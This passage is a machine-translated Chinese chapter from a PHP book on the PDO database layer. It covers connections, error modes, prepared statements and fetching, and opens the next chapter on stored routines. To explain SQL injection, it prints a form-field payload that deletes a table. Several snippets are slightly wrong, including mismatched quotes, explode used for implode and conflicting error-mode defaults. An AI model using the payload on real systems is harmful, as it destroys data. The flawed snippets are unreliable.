因为 PHP 提供了对 ODBC 的支持,所以在开发 PHP 驱动的应用时,您的数据库抽象需求似乎得到了解决,对吗?虽然这种(以及许多其他)解决方案很容易获得,但一种更好的解决方案已经开发了一段时间。PHP 5.1 正式发布了这个解决方案,它被称为 PHP 数据对象(PDO)抽象层。

另一个数据库抽象层?

随着 PDO 的成熟,它遇到了来自开发人员的抱怨,这些开发人员要么参与了替代数据库抽象层的开发,要么过于关注 PDO 的数据库抽象特性,而不是它提供的全部功能。事实上,PDO 是许多现有解决方案的理想替代品。然而,PDO 实际上不仅仅是一个数据库抽象层,它提供了:

  • 编码一致性:因为 PHP 的各种数据库扩展是由许多不同的贡献者编写的,尽管有共同的特性集,编码方法却很不一致。PDO 通过提供统一的单一接口消除了这种不一致性。不管数据库。此外,扩展被分成两个不同的部分:PDO 核心包含大多数 PHP 特定的代码,让各种驱动程序只关注数据。此外,PDO 的开发人员在以前构建和维护本机数据库扩展时利用了大量的知识和经验,充分利用了成功之处,并小心避免了失败之处。尽管还存在一些不一致,但总的来说,数据库特性被很好地抽象了。

  • 灵活性:因为 PDO 在运行时加载所需的数据库驱动程序,所以不需要每次使用不同的数据库时都重新配置和重新编译 PHP。例如,如果您的数据库突然需要从 Oracle 切换到 MySQL,只需加载PDO_MYSQL驱动程序(本章后面会详细介绍如何做)。

  • 面向对象的特性 : PDO 利用了 PHP 5 的面向对象特性,产生了一种比以前的解决方案更好的数据库交互方式。

  • 性能 : PDO 是用 C 语言编写的,编译成 PHP,在其他条件相同的情况下,它比用 PHP 编写的解决方案提供了相当大的性能提升,至少对于与在数据库服务器中执行查询无关的部分是如此。

有这样的优势,还有什么不喜欢的呢?这一章的作用是让你完全熟悉 PDO 和它所提供的无数功能。

PDO 的数据库选项

在撰写本文时,除了可以通过 DBLIB 和 ODBC 访问的任何数据库之外,PDO 还支持相当多的数据库,包括:

  • 4D :可通过PDO_4D驱动程序访问。

  • CUBRID :可通过PDO_CUBRID驱动程序访问。

  • 火鸟/ InterBase 6 :可通过PDO_FIREBIRD驱动访问。

  • IBM DB2 :可以通过PDO_IBM驱动程序访问。

  • Informix :可通过PDO_INFORMIX驱动程序访问。

  • 微软 SQL Server :可通过PDO_DBLIBPDO_SQLSRV驱动访问。

  • MySQL :可通过PDO_MYSQL驱动访问。

  • ODBC :可通过PDO_ODBC驱动程序访问。ODBC 本身并不是一个数据库,但是它使 PDO 能够与这个列表中没有的任何兼容 ODBC 的数据库结合使用。

  • 甲骨文:可通过PDO_OCI驱动访问。支持 Oracle 版本 8 到 11g。

  • PostgreSQL :可通过PDO_PGSQL驱动程序访问。

  • SQLite 3。X :可通过PDO_SQLITE驱动程序访问。

使用 PDO

PDO 与 PHP 长期支持的所有数据库扩展有着惊人的相似之处。因此,对于那些将 PHP 与数据库结合使用过的人来说,本节介绍的内容应该非常熟悉。如前所述,PDO 的构建考虑到了前面数据库扩展的最佳特性,因此您会发现它的方法有显著的相似性是有道理的。

本节首先简要介绍 PDO 安装过程,然后总结其目前支持的数据库服务器。出于本章剩余部分中示例的目的,使用了以下 MySQL 表:

CREATE TABLE products (
   id INT NOT NULL AUTO_INCREMENT,
   sku CHAR(8) NOT NULL,
   title VARCHAR(100) NOT NULL,
   PRIMARY KEY(id)
);

表格中已经填入了表格 28-1 中列出的产品。

表 28-1

示例产品数据

|

Id

|

SKU

|

标题

|
| --- | --- | --- |
| one | ZP457321 | 无痛须后水 |
| Two | TY232278 | AquaSmooth 牙膏 |
| three | PO988932 | 免提洗发水 |
| four | KL334899 | 威士克勒克剃刀 |

安装 PDO

从 PHP 5.1 版本开始,默认启用 PDO;然而,MySQL PDO 驱动程序不是。尽管可以将 PDO 和所需的 PDO 驱动程序作为共享模块安装,但最简单的方法是静态构建 PDO 和驱动程序;完成后,您将不必进行任何其他与配置相关的更改。因为您可能目前只对 MySQL 的 PDO 驱动程序感兴趣,所以您需要做的就是在配置 PHP 时传递--with-pdo-mysql标志。

如果您在 Windows 平台上使用 PHP 5.1 或更新版本,您需要在php.ini文件中添加对 PDO 和驱动程序扩展的引用。例如,要启用对 MySQL 的支持,请将以下几行添加到 Windows 扩展部分:

extension=php_pdo.dll
extension=php_pdo_mysql.dll

和往常一样,不要忘记重启 Apache(或其他 web 服务器)以使php.ini更改生效。如果使用包管理器(yum 或 apt-get)安装 PHP,就不需要编译 PHP 或扩展,在许多情况下,所有需要的配置都将由包管理器处理。安装 PDO 驱动程序或任何其他软件包后,检查您的 php.ini 文件。

小费

您可以确定哪些 PDO 驱动程序可用于您的环境,方法是将phpinfo()加载到浏览器中并查看 PDO 部分标题下提供的列表,或者执行pdo_drivers()函数,如下所示:

<?php print_r(pdo_drivers()); ?>

连接到数据库服务器并选择数据库

在使用 PDO 与数据库交互之前,您需要建立一个服务器连接并选择一个数据库。这是通过 PDO 的构造函数完成的。其原型如下:

PDO PDO::__construct(string DSN [, string username [, string password
                     [, array driver_opts]]])

DSN ( 数据源名称)参数由两项组成:所需的数据库驱动程序名称,以及任何必要的数据库连接变量,如主机名、端口和数据库名称。usernamepassword参数分别指定用于连接数据库的用户名和密码。最后,driver_opts数组指定了连接可能需要或期望的任何附加选项。本节结尾提供了可用选项的列表。

您可以自由地以多种方式调用构造函数。接下来介绍这些不同的方法。

将参数嵌入构造函数

连接到数据库最简单的方法是简单地将连接参数传递给构造函数。例如,可以像这样调用构造函数(特定于 MySQL):

$dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');

将参数放在文件中

PDO 利用 PHP 的流特性,打开选项将 DSN 字符串放在本地或远程的单独文件中,并在构造函数中引用它,如下所示:

$dbh = new PDO('uri:file://usr/local/mysql.dsn');

确保该文件由负责执行 PHP 脚本的同一个用户拥有,并且拥有必要的权限。

参考 php.ini 文件

通过将 dsn 信息分配给名为 pdo.dsn.aliasname 的配置参数,也可以在php.ini文件中维护 DSN 信息,其中aliasname是随后提供给构造函数的 DSN 的别名。例如,以下示例将 DSN 别名为mysqlpdo:

[PDO]
pdo.dsn.mysqlpdo = 'mysql:dbname=chp28;host=localhost'

别名随后可以由 PDO 构造函数调用,如下所示:

$dbh = new PDO('mysqlpdo', 'webuser', 'secret');

与前面的方法不同,这种方法不允许在 DSN 中包含用户名和密码。

使用 PDO 的连接相关选项

PDO 有几个与连接相关的选项,您可以考虑通过将它们传递到 driver_opts 数组中来进行调整。这些选项列举如下:

  • PDO::ATTR_AUTOCOMMIT:这个选项决定了 PDO 是在执行每个查询时提交它,还是等待commit()方法被执行后再生效。

  • PDO::ATTR_CASE:您可以强制 PDO 将检索到的列字符大小写全部转换为大写,或者全部转换为小写,或者完全按照它们在数据库中的位置使用它们。这种控制是通过将该选项分别设置为三个值之一来实现的:PDO::CASE_UPPERPDO::CASE_LOWERPDO::CASE_NATURAL

  • PDO::ATTR_EMULATE_PREPARES:启用该选项可以让预处理语句利用 MySQL 的查询缓存。

  • PDO::ATTR_ERRMODE : PDO 支持三种报错模式:PDO::ERRMODE_EXCEPTIONPDO::ERRMODE_SILENTPDO::ERRMODE_WARNING。这些模式决定了什么情况会导致 PDO 报告错误。将该选项设置为这三个值中的一个来改变默认行为,即PDO::ERRMODE_EXCEPTION。这个特性将在后面的“处理错误”一节中详细讨论

  • PDO::ATTR_ORACLE_NULLS:当设置为TRUE时,该属性导致空字符串在检索时被转换为NULL。默认设置为FALSE

  • PDO::ATTR_PERSISTENT:该选项决定连接是否持久。默认设置为 FAL SE

  • PDO::ATTR_PREFETCH:预取是一种数据库特性,即使客户端一次请求一行,也可以检索几行,原因是如果客户端请求一行,他很可能会想要其他行。这样做可以减少数据库请求的数量,从而提高效率。此选项为支持此功能的驱动程序设置预取大小,以千字节为单位。

  • PDO::ATTR_TIMEOUT:该选项设置超时前等待的秒数。MySQL 目前不支持这个选项。

  • PDO::DEFAULT_FETCH_MODE:您可以使用这个选项来设置默认的获取模式(关联数组、索引数组或对象),如果您一直喜欢某个特定的方法,那么这样可以节省一些输入。

有四个属性可以帮助您了解有关客户端、服务器和连接状态的更多信息。可以使用“获取和设置属性”一节中介绍的方法getAttribute() ,来检索属性值。

  • PDO::ATTR_SERVER_INFO:包含特定于数据库的服务器信息。对于 MySQL,它检索与服务器正常运行时间、总查询数、每秒执行的平均查询数以及其他重要信息相关的数据。

  • PDO::ATTR_SERVER_VERSION:包含与数据库服务器版本号相关的信息。

  • PDO::ATTR_CLIENT_VERSION:包含数据库客户端版本号的相关信息。

  • PDO::ATTR_CONNECTION_STATUS:包含关于连接状态的数据库特定信息。例如,在使用 MySQL 成功连接后,属性包含“通过 TCP/IP 的本地主机”,而在 PostgreSQL 上,它包含“连接正常;等着发。”

处理连接错误

在出现连接错误的情况下,除非返回的PDOException对象被正确捕获,否则脚本会立即终止。当然,你可以使用第八章第一次介绍的异常处理语法很容易地做到这一点。以下示例说明了如何在出现连接问题时捕获异常:

<?php
    try {
       $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');
    } catch (PDOException $exception) {
       echo "Connection error: " . $exception->getMessage();
    }
?>

一旦建立了连接,就该开始使用它了。这是本章其余部分的主题。

处理错误

PDO 提供了三种错误模式,允许您调整扩展处理错误的方式:

  • PDO::ERRMODE_EXCEPTION:使用PDOException类抛出一个异常,它立即停止脚本执行并提供与问题相关的信息。

  • 发生错误时不做任何事情,让开发人员检查错误并决定如何处理。这是默认设置。

  • PDO::ERRMODE_WARNING:如果发生与 PDO 相关的错误,产生一条 PHP E_WARNING消息。

要设置错误模式,只需使用setAttribute()方法,如下所示:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

还有两种方法可用于检索错误信息。接下来介绍两者。

正在检索 SQL 错误代码

SQL 标准提供了一个诊断代码列表,用于表示 SQL 查询的结果,称为 SQLSTATE 代码。对 SQLSTATE 代码执行 web 搜索,以生成这些代码及其含义的列表。errorCode()方法用于返回这个标准的 SQLSTATE 代码,您可以选择存储该代码用于日志记录,甚至用于生成您自己的定制错误消息。其原型如下:

int PDOStatement::errorCode()

例如,下面的脚本试图插入一个新产品,但是错误地引用了单个版本的products表:

<?php
    try {
        $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');
    } catch (PDOException $exception) {
        printf("Connection error: %s", $exception->getMessage());
    }

    $query = "INSERT INTO product(id, sku, title)
              VALUES(NULL, 'SS873221', 'Surly Soap') ";

    $dbh->exec($query);

    echo $dbh->errorCode();
?>

这应该产生代码42S02,对应于 MySQL 不存在的表消息。当然,这个消息本身意义不大,所以您可能会对接下来介绍的errorInfo()方法感兴趣。

正在检索 SQL 错误消息

errorInfo()方法产生一个数组,其中包含与最近执行的数据库操作相关的错误信息。其原型如下:

array PDOStatement::errorInfo()

该数组由三个值组成,每个值由一个在02之间的数字索引值引用:

  • 0:存储 SQL 标准中定义的 SQLSTATE 代码,

  • 1:存储数据库驱动程序特有的错误代码,

  • 2:存储数据库驱动程序特有的错误信息,

以下脚本演示了errorInfo(),使其输出与丢失的表相关的错误信息(在这种情况下,程序员错误地使用了现有products表的单数形式):

<?php
    try {
       $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');
    } catch (PDOException $exception) {
        printf("Failed to obtain database handle %s", $exception->getMessage());
    }

    $query = "INSERT INTO product(id, sku, title)
              VALUES(NULL, 'SS873221', 'Surly Soap') ";

    $dbh->exec($query);

    print_r($dbh->errorInfo());

?>

假设 product 表不存在,将产生以下输出(为便于阅读而格式化):

Array (
[0] => 42S02
[1] => 1146
[2] => Table 'chp28.product' doesn't exist )

获取和设置属性

相当多的属性可用于调整 PDO 的行为。因为可用属性的数量相当大,而且事实上几个数据库驱动程序提供了它们自己的自定义属性,所以将您指向 www.php.net/pdo 以获取最新信息是有意义的,而不是在此详尽地列出所有可用属性。

下一节将介绍可用于设置和检索这些属性值的方法。

正在检索属性

getAttribute()方法检索由 attribute 指定的属性的值。它的原型是这样的:

mixed PDOStatement::getAttribute(int attribute)

下面是一个例子:

<?php

$dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');
echo $dbh->getAttribute(PDO::ATTR_CONNECTION_STATUS);

?>

在我的服务器上,这会返回:

localhost via TCP/IP

设置属性

setAttribute()方法将由指定的值赋给由属性指定的属性。它的原型是这样的:

boolean PDOStatement::setAttribute(int attribute, mixed value)

例如,要设置 PDO 的错误模式,您需要像这样设置PDO::ATTR_ERRMODE:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

执行查询

PDO 提供了几种执行查询的方法,每种方法都适合以最有效的方式执行特定的查询类型。以下列表细分了每种查询类型:

  • 执行没有结果集的查询:执行插入、更新、删除等查询时,不返回结果集。在这种情况下,exec()方法返回受查询影响的行数。

  • 执行一次查询:当执行一个返回结果集的查询时,或者当受影响的行数无关紧要时,应该使用query()方法。

  • 多次执行一个查询:虽然可以使用while循环和query()方法多次执行一个查询,每次迭代传递不同的列值,但是使用准备好的语句这样做更有效。

添加、修改和删除表格数据

您的应用可能会提供一些添加、修改和删除数据的方法。为此,您可以将一个查询传递给exec()方法,该方法执行一个查询并返回受其影响的行数。其原型如下:

int PDO::exec(string query)

考虑以下示例:

<?php

$query = "UPDATE products SET title='Painful Aftershave' WHERE sku="ZP457321"";
// Be aware of SQL injections when building query strings
$affected = $dbh->exec($query);
echo "Total rows affected: $affected";

?>

根据本章前面介绍的示例数据,此示例将返回以下内容:

Total rows affected: 1

请注意,该方法不应与SELECT查询结合使用;相反,应该使用query()方法来实现这些目的。使用字符串连接来构建查询字符串,尤其是当它包含来自客户端的数据时,这不是避免 SQL 注入的安全方法。请改用准备好的语句。

选择表格数据

query()方法执行一个查询,以 PDOStatement 对象的形式返回数据。其原型如下:

PDOStatement query(string query)

下面是一个例子:

<?php

$query = 'SELECT sku, title FROM products ORDER BY id';
// Be aware of SQL injections when building query strings

foreach ($dbh->query($query) AS $row) {
    printf("Product: %s (%s) <br />", $row['title'], $row['sku']);
}

?>

基于示例数据,此示例生成以下内容:

Product: AquaSmooth Toothpaste (TY232278)
Product: HeadsFree Shampoo (PO988932)
Product: Painless Aftershave (ZP457321)
Product: WhiskerWrecker Razors (KL334899)

小费

如果您使用query()并想了解更多关于受影响的总行数,请使用rowCount()方法。

介绍准备好的声明

预准备语句是许多数据库系统的一个特征。它们至少在两个不同的方面有用。第一个也是最重要的一个是关于安全性。使用预准备语句将有助于防范 SQL 注入,在这种情况下,恶意客户端将内容发送回 web 服务器,但绕过了网页的内容检查,并提交了将执行附加任务的字符串(参见下面的示例)。当多次执行相似的语句时,可以发现预准备语句的第二个好处。在这种情况下,数据库引擎可以一次性分析语句的基本结构,并使用每次执行收集的信息,从而提高性能。批量插入或更新(一次一条记录)就是这种方法的一个很好的应用。

考虑以下代码:

<?php
$query = "select * from product where sku = '{$_POST['sku']}';";
...

首先,没有对变量$_POST['sku']进行健全性检查。它用于将内容直接传递到查询字符串中。即使 web 页面被设计为验证每个字段的内容,也不能保证客户端会根据该逻辑提交表单。请记住,在浏览器中呈现时,网页不受您的控制。如果恶意访问者将以下内容放入表单的 sku 字段,该怎么办:

'; delete from products;

该字符串将被直接添加到查询字符串中,您最终可能会删除该表中的所有行。

PDO 为支持这一特性的数据库提供了预准备语句功能。因为 MySQL 支持预处理语句,所以您可以自由地利用这个特性。准备好的语句使用两种方法来完成,一种是prepare(),它负责为执行查询做准备,另一种是execute(),它使用一组提供的列参数来重复执行查询。这些参数可以通过将它们作为数组传递给方法来显式地提供给execute(),或者通过使用使用bindParam()方法分配的绑定参数来提供。接下来将介绍这三种方法。

使用准备好的语句

prepare()方法负责为执行查询做准备。其原型如下:

PDOStatement PDO::prepare(string query [, array driver_options])

用作预准备语句的查询看起来与您可能习惯的查询略有不同,因为对于那些在执行迭代中会发生变化的列值,必须使用占位符而不是实际的列值。支持两种语法变体,命名参数问号参数。例如,使用命名参数的查询可能如下所示:

INSERT INTO products SET sku =:sku, name =:name;

使用问号参数的相同查询如下所示:

INSERT INTO products SET sku = ?, name = ?;

您所选择的变体完全是个人喜好的问题,尽管使用命名参数可能更为明确,并且您不必被迫以正确的顺序传递参数。因此,在相关示例中使用了这种变体。首先,下面的例子使用prepare()来准备一个迭代执行的查询:

// Connect to the database
$dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');

$query = "INSERT INTO products SET sku =:sku, name =:name";
$stmt = $dbh->prepare($query);

一旦准备好查询,就必须执行它。这是通过下面介绍的execute()方法完成的。

除了查询之外,您还可以通过 driver_options 参数传递数据库驱动程序特定的选项。有关这些选项的更多信息,请参见 PHP 手册。

执行准备好的查询

execute()方法负责执行准备好的查询。其原型如下:

boolean PDOStatement::execute([array input_parameters])

这种方法需要输入参数,这些参数应该在每次迭代执行时被替换。这可以通过两种方式实现:要么将值作为数组传递给方法,要么使用bindParam()方法将值绑定到它们各自的变量名或查询中的位置偏移量。接下来将介绍第一个选项,第二个选项将在接下来的bindParam()介绍中介绍。

以下示例显示了一条语句是如何由execute()准备并重复执行的,每次都使用不同的参数:

<?php
    // Connect to the database server
    $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');

    // Create and prepare the query
    $query = "INSERT INTO products SET sku =:sku, title =:title";
    $stmt = $dbh->prepare($query);

    // Execute the query
    $stmt->execute( [':sku' => 'MN873213', ':title' => 'Minty Mouthwash'] );

    // Execute again
    $stmt->execute( [':sku' => 'AB223234', ':title' => 'Lovable Lipstick'] );
?>

接下来我们将再次讨论这个例子,在这里您将学习使用bindParam()方法传递查询参数的另一种方法。

绑定参数

您可能已经在前面对execute()方法的介绍中注意到,输入参数是可选的。这很方便,因为如果需要传递大量变量,以这种方式提供数组会很快变得难以处理。那么还有什么选择呢?bindParam()法。其原型如下:

boolean PDOStatement::bindParam(mixed parameter, mixed &variable [, int datatype [, int length [, mixed driver_options]]])

使用命名参数时,参数是使用语法:title在准备好的语句中指定的列值占位符的名称。使用问号参数时,参数是位于查询中的列值占位符的索引偏移量。variable 参数存储分配给占位符的值。它被描述为通过引用传递,因为当将该方法与准备好的存储过程结合使用时,该值可能会根据存储过程中的某些操作而改变。本节将不演示此功能;不过,在你读完第三十二章之后,这个过程应该就相当明显了。可选的数据类型参数显式设置参数数据类型,并且可以是以下任意值:

  • PDO::PARAM_BOOL : SQL BOOLEAN 数据类型

  • PDO::PARAM_INPUT_OUTPUT:当参数被传递到存储过程中时使用,因此可以在过程执行后更改

  • PDO::PARAM_INT : SQL INTEGER 数据类型

  • PDO::PARAM_NULL : SQL NULL 数据类型

  • PDO::PARAM_LOB : SQL 大型对象数据类型

  • PDO_PARAM_STMT : PDOStatement对象类型;目前不运行

  • PDO::PARAM_STR : SQL 字符串数据类型

可选的长度参数指定数据类型的长度。只有在赋予它PDO::PARAM_INPUT_OUTPUT数据类型时才需要它。最后, driver_options 参数用于传递任何特定于驱动程序的选项。

以下示例重温了上一个示例,这次使用bindParam()来分配列值:

<?php

    // Connect to the database server
    $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');

    // Create and prepare the query
    $query = "INSERT INTO products SET sku =:sku, title =:title";
    $stmt = $dbh->prepare($query);

    $sku = 'MN873213';
    $title = 'Minty Mouthwash';

    // Bind the parameters
    $stmt->bindParam(':sku', $sku);
    $stmt->bindParam(':title', $title);

    // Execute the query
    $stmt->execute();

    $sku = 'AB223234';
    $title = 'Lovable Lipstick';

    // Bind the parameters
    $stmt->bindParam(':sku', $sku);
    $stmt->bindParam(':title', $title);

    // Execute again
    $stmt->execute();
?>

如果使用问号参数,该语句将如下所示:

$query = "INSERT INTO products SET sku = ?, title = ?";

因此,相应的bindParam()调用如下所示:

$stmt->bindParam(1, $sku);
$stmt->bindParam(2, $title);
. . .
$stmt->bindParam(1, $sku);
$stmt->bindParam(2, $title);

检索数据

PDO 的数据检索方法与其他数据库扩展中的方法非常相似。事实上,如果你在过去使用过这些扩展,你会对 PDO 的五个相关方法感到非常舒服。本节中介绍的所有方法都是PDOStatement类的一部分,该类由前一节中介绍的几个方法返回。

返回检索到的列数

columnCount()方法返回结果集中返回的列总数。其原型如下:

integer PDOStatement::columnCount()

下面是一个例子:

// Execute the query
$query = 'SELECT sku, title FROM products ORDER BY title';
$result = $dbh->query($query);

// Report how many columns were returned
printf("There were %d product fields returned.", $result->columnCount());

示例输出如下:

There were 2 product fields returned.

检索结果集中的下一行

fetch()方法返回结果集中的下一行,或者如果已经到达结果集的末尾,则返回FALSE。它的原型是这样的:

mixed PDOStatement::fetch([int fetch_style [, int cursor_orientation
                          [, int cursor_offset]]])

引用行中每一列的方式取决于如何设置 fetch_style 参数。有八种设置可供选择:

  • PDO::FETCH_ASSOC:提示fetch()检索由列名索引的值数组。

  • PDO::FETCH_BOTH:提示fetch()获取一个数组值,该数组值由列名和行中该列的数字偏移量(从 0 开始)索引。这是默认设置。

  • PDO::FETCH_BOUND:提示fetch()返回 TRUE,并将检索到的列值分配给在bindParam()方法中指定的相应变量。有关绑定列的更多信息,请参见“设置绑定列”一节。

  • PDO::FETCH_CLASS:提示fetch()通过将结果集的列分配给同名的类属性来填充对象。

  • PDO::FETCH_INTO:将列值检索到一个类的现有实例中。各个类属性必须与列值匹配,并且必须被指定为公共范围。或者,必须重载__get()__set()方法,以便于赋值,如第七章所述。

  • PDO::FETCH_LAZY:除了包含列属性的对象之外,创建关联和索引数组,允许您使用三个接口中您选择的任何一个。

  • PDO::FETCH_NUM:提示fetch()获取一个数组值,该数组值由行中列的数字偏移量索引(从 0 开始)。

  • PDO::FETCH_OBJ:提示fetch()创建一个对象,该对象由匹配每个检索到的列名的属性组成。

如果对象是可滚动游标,则参数 cursor_orientation 确定检索哪一行,这是一个结果集,允许您在不获取所有行的情况下对行进行迭代。 cursor_offset 参数是一个整数值,表示要检索的行相对于当前光标位置的偏移量。

以下示例从数据库中检索所有产品,并按标题对结果进行排序:

<?php

    // Connect to the database server
    $dbh = new PDO("mysql:host=localhost;dbname=chp28", "webuser", "secret");

    // Execute the query
    $stmt = $dbh->query('SELECT sku, title FROM products ORDER BY title');

    while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
        printf("Product: %s (%s) <br />", $row['title'], $row['sku']);
    }

?>

示例输出如下:

Product: AquaSmooth Toothpaste (TY232278)
Product: HeadsFree Shampoo (PO988932)
Product: Painless Aftershave (ZP457321)
Product: WhiskerWrecker Razors (KL334899)

同时返回所有结果集行

fetchAll()方法的工作方式与fetch()非常相似,除了对它的一次调用会导致检索结果集中的所有行并将其分配给返回的数组。其原型如下:

array PDOStatement::fetchAll([int fetch_style])

引用检索到的列的方式取决于如何设置可选的 fetch_style 参数,默认设置为PDO_FETCH_BOTH。关于所有可用的fetch_style值的完整列表,参见前面关于fetch()方法的部分。

以下示例产生与fetch()简介中提供的示例相同的结果,但这一次取决于fetchAll()准备输出数据:

<?php

function formatRow($row) {
    return sprintf("Product: %s (%s) <br />", $row[1], $row[0]);
}

// Execute the query
$stmt = $dbh->query('SELECT sku, title FROM products ORDER BY title');

// Retrieve all of the rows
$rows = $stmt->fetchAll();

// Output the rows
echo explode(array_map('formatRow', $rows));

?>

示例输出如下:

Product: AquaSmooth Toothpaste (TY232278)
Product: HeadsFree Shampoo (PO988932)
Product: Painless Aftershave (ZP457321)
Product: WhiskerWrecker Razors (KL334899)

至于你是否选择使用fetchAll()而不是fetch(),这似乎很大程度上是一个方便的问题。但是,请记住,将fetchAll()与特别大的结果集结合使用可能会在数据库服务器资源和网络带宽方面给系统带来很大的负担。

提取单个列

fetchColumn()方法返回位于结果集下一行的单个列值。其原型如下:

string PDOStatement::fetchColumn([int column_number])

分配给column_number的列引用必须根据其在行中的数值偏移量来指定,偏移量从 0 开始。如果没有设置值,fetchColumn()返回在第一列中找到的值。奇怪的是,使用这种方法不可能在同一行中检索多列,因为每次调用都会将行指针移动到下一个位置;因此,如果需要的话,可以考虑使用fetch()

下面的例子演示了fetchColumn()并显示了对该方法的后续调用如何移动行指针:

    // Execute the query
    $result = $dbh->query('SELECT sku, title FROM products ORDER BY title');

    // Fetch the first row first column
    $sku = $result->fetchColumn(0);

    // Fetch the second row second column
    $title =  $result->fetchColumn(1);

    // Output the data.
    echo "Product: $title ($sku)";

结果输出如下。注意,产品标题和 SKU 并不对应于示例表中提供的正确值,因为如上所述,行指针随着对fetchColumn()的每次调用而前进;因此,使用这种方法时要谨慎。

Product: AquaSmooth Toothpaste (PO988932)

设置绑定列

在上一节中,您学习了如何在fetch()fetchAll()方法中设置 fetch_style 参数,以控制脚本如何使用结果集列。您可能对PDO_FETCH_BOUND设置感兴趣,因为它似乎让您在检索列值时完全避免了一个额外的步骤,只需将它们自动分配给预定义的变量。事实上,就是这样,并且是使用bindColumn()方法完成的。

bindColumn()方法用于将一个列名与一个期望的变量名相匹配,在每次检索行时,将导致相应的列值被自动分配给该变量。这使得从结果集中移动数据变得很容易,但是它不会对数据进行任何检查或格式化。这必须由代码提供。其原型如下:

boolean PDOStatement::bindColumn(mixed column, mixed &param [, int type
                                 [, int maxlen [, mixed driver_options]]])

参数指定行中的列偏移量,而 &参数定义相应变量的名称。您可以通过使用 type 参数定义变量值的类型,并使用 maxlen 参数限制其length来设置变量值的约束。支持七个type参数值。完整的列表见前面对bindParam()的介绍。

以下示例从products表中选择skutitle列,其中id等于 2,并分别根据数值偏移量和关联映射绑定结果:

<?php
    // Connect to the database server
    $dbh = new PDO('mysql:host=localhost;dbname=chp28', 'webuser', 'secret');

    // Create and prepare the query
    $query = 'SELECT sku, title FROM products WHERE id=2';
    $stmt = $dbh->prepare($query);
    $stmt->execute();

    // Bind according to column offset
    $stmt->bindColumn(1, $sku);

    // Bind according to column title
    $stmt->bindColumn('title', $title);

    // Fetch the row
    $row = $stmt->fetch(PDO::FETCH_BOUND);

    // Output the data
    printf("Product: %s (%s)", $title, $sku);
?>

它返回以下内容:

Painless Aftershave (TY232278)

使用事务

PDO 为那些能够执行事务的数据库提供事务支持。三种 PDO 方法促进事务性任务:beginTransaction() , commit() ,rollback()。因为第三十四章是关于交易的,所以这里不提供例子;相反,提供了对这三种方法的简要介绍。

开始交易

beginTransaction()方法禁用自动提交模式,这意味着在执行commit()方法之前,任何数据库更改都不会生效。其原型如下:

boolean PDO::beginTransaction()

一旦commit()rollback()被执行,自动提交模式将自动再次启用。

提交交易

commit()方法提交事务。其原型如下:

boolean PDO::commit()

回滚事务

rollback()方法否定自beginTransaction()执行以来所做的任何数据库更改。其原型如下:

boolean PDO::rollback()

摘要

PDO 为用户提供了一种强大的方法来整合不一致的数据库命令,允许用一种几乎微不足道的方法将应用从一个数据库解决方案迁移到另一个数据库解决方案。此外,如果您的客户期望一个允许他们使用首选数据库的应用,由于特定于语言和特定于数据库的特性的分离,它鼓励 PHP 语言开发人员提高生产率。

二十九、存储例程

本书中的许多例子都涉及将 MySQL 查询直接嵌入到 PHP 脚本中。事实上,对于较小的应用来说,这很好;然而,随着应用复杂性和规模的增加,您可能会想寻找更有效的方法来管理您的 SQL 代码。值得注意的是,有些查询会达到一定的复杂程度,需要您在查询中加入一定程度的逻辑,才能获得想要的结果。假设您部署了两个应用:一个面向 Web,另一个面向移动设备,这两个应用都使用相同的 MySQL 数据库并执行许多相同的任务。如果一个查询发生了变化,您需要对查询出现的地方进行修改,不是在一个应用中,而是在两个或更多的应用中!

使用复杂应用时出现的另一个挑战涉及到为每个成员提供贡献其专业知识的机会,而不一定会影响到其他人。通常,负责数据库开发和维护的个人在编写高效和安全的查询方面特别在行。但是,如果查询嵌入在代码中,这个人如何编写和维护这些查询而不干扰应用开发人员呢?此外,数据库架构师如何确信开发人员没有修改查询,从而可能在过程中打开安全漏洞?

应对这些挑战的最常见的解决方案之一是一种数据库特性,称为存储例程(通常称为存储过程)。存储例程是存储在数据库服务器中的一组 SQL 语句,通过在查询中调用指定的名称来执行,就像函数封装了一组在调用函数名称时执行的命令一样。然后,可以在数据库服务器的安全范围内维护存储的例程,而不必接触应用代码。

本章通过讨论语法和展示如何创建、管理和执行存储例程,告诉你 MySQL 是如何实现存储例程的。您还将学习如何通过 PHP 脚本将存储的例程合并到 web 应用中。首先,花点时间回顾一下关于它们优缺点的更正式的总结。

应该使用存储例程吗?

与其盲目地追随存储例程,不如花点时间考虑一下它们的优缺点,特别是因为它们的实用性是数据库社区中一个激烈争论的话题。本节总结了将存储例程合并到开发策略中的利弊。

存储的常规优势

存储例程有许多优点,其中最突出的优点如下:

  • 一致性:当用不同语言编写的多个应用执行相同的数据库任务时,将这些相似的功能整合到存储例程中可以减少冗余的开发过程。

  • 性能:在编写优化查询时,一个称职的数据库管理员可能是团队中知识最丰富的成员。因此,通过将这样的查询作为存储例程集中维护,为这个人保留任务可能是有意义的。

  • 安全性:在金融、医疗和国防等特别敏感的环境中工作时,通常要求严格限制对数据的访问。使用存储例程是确保开发人员只能访问执行任务所必需的信息的好方法。

  • 架构:虽然讨论多层架构的优点超出了本书的范围,但是将存储例程与数据层结合使用可以进一步促进大型应用的可管理性。在网上搜索 n 层架构以获得关于这个主题的更多信息。

存储的常规缺点

尽管前面的优点可能会让您相信存储例程是一种可行的方法,但是请花点时间考虑一下下面的缺点:

  • 许多人认为数据库的唯一目的是存储数据和维护数据关系,而不是执行本来可以由应用执行的代码。除了有损于许多人所认为的数据库的唯一作用之外,在数据库中执行这样的逻辑将消耗额外的处理器和内存资源。

  • 功能:您很快就会知道,SQL 语言结构确实提供了相当多的功能和灵活性;然而,大多数开发人员发现,使用成熟的编程语言(如 PHP)构建这些例程既容易又舒服。

